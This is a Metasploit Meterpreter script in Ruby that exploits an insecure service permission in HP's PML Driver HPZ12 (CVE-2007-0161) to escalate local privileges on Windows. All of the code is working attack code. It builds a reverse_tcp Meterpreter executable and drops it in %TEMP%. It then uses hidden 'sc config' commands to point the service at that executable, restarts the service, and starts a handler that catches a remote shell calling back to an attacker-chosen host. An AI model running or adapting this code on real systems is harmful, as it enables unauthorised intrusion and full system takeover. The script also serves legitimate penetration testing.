106 lines
3.2 KiB
Ruby
106 lines
3.2 KiB
Ruby
# $Id$
|
|
# $Revision$
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
##
|
|
# HP Multiple Products PML Driver HPZ12 Local Privilege Escalation.
|
|
#
|
|
# This module exploits a privilege escalation vulnerability in
|
|
# Hewlett-Packard's PML Driver HPZ12. Due to an insecure
|
|
# SERVICE_CHANGE_CONFIG DACL permission, a local attacker can
|
|
# gain elevated privileges.
|
|
#
|
|
# BID - 21935
|
|
# CVE - 2007-0161
|
|
# mc[@]metasploit.com
|
|
##
|
|
|
|
#
|
|
# Options
|
|
#
|
|
opts = Rex::Parser::Arguments.new(
|
|
"-h" => [ false, "This help menu"],
|
|
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
|
|
"-p" => [ true, "The port on the remote host where Metasploit is listening"]
|
|
)
|
|
|
|
#
|
|
# Default parameters
|
|
#
|
|
|
|
rhost = Rex::Socket.source_address("1.2.3.4")
|
|
rport = 4444
|
|
|
|
#
|
|
# Option parsing
|
|
#
|
|
opts.parse(args) do |opt, idx, val|
|
|
case opt
|
|
when "-h"
|
|
print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.")
|
|
print_line(opts.usage)
|
|
raise Rex::Script::Completed
|
|
when "-r"
|
|
rhost = val
|
|
when "-p"
|
|
rport = val.to_i
|
|
end
|
|
end
|
|
if client.platform =~ /win32|win64/
|
|
client.sys.process.get_processes().each do |m|
|
|
if ( m['name'] =~ /HPZipm12\.exe/ )
|
|
|
|
print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.")
|
|
|
|
# Build out the exe payload.
|
|
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
|
|
pay.datastore['LHOST'] = rhost
|
|
pay.datastore['LPORT'] = rport
|
|
raw = pay.generate
|
|
|
|
exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
|
|
|
|
# Place our newly created exe in %TEMP%
|
|
tempdir = client.fs.file.expand_path("%TEMP%")
|
|
tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
print_status("Sending EXE payload '#{tempexe}'.")
|
|
fd = client.fs.file.new(tempexe, "wb")
|
|
fd.write(exe)
|
|
fd.close
|
|
|
|
print_status("Stopping service \"Pml Driver HPZ12\"...")
|
|
client.sys.process.execute("cmd.exe /c sc stop \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'})
|
|
|
|
print_status("Setting Pml Driver to #{tempexe}...")
|
|
client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= #{tempexe}", nil, {'Hidden' => 'true'})
|
|
sleep(1)
|
|
print_status("Restarting the \"Pml Driver HPZ12\" service...")
|
|
client.sys.process.execute("cmd.exe /c sc start \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'})
|
|
|
|
# Our handler to recieve the callback.
|
|
handler = client.framework.exploits.create("multi/handler")
|
|
handler.datastore['WORKSPACE'] = client.workspace
|
|
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
|
|
handler.datastore['LHOST'] = rhost
|
|
handler.datastore['LPORT'] = rport
|
|
handler.datastore['ExitOnSession'] = false
|
|
|
|
handler.exploit_simple(
|
|
'Payload' => handler.datastore['PAYLOAD'],
|
|
'RunAsJob' => true
|
|
)
|
|
|
|
client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'})
|
|
|
|
end
|
|
end
|
|
else
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
raise Rex::Script::Completed
|
|
end
|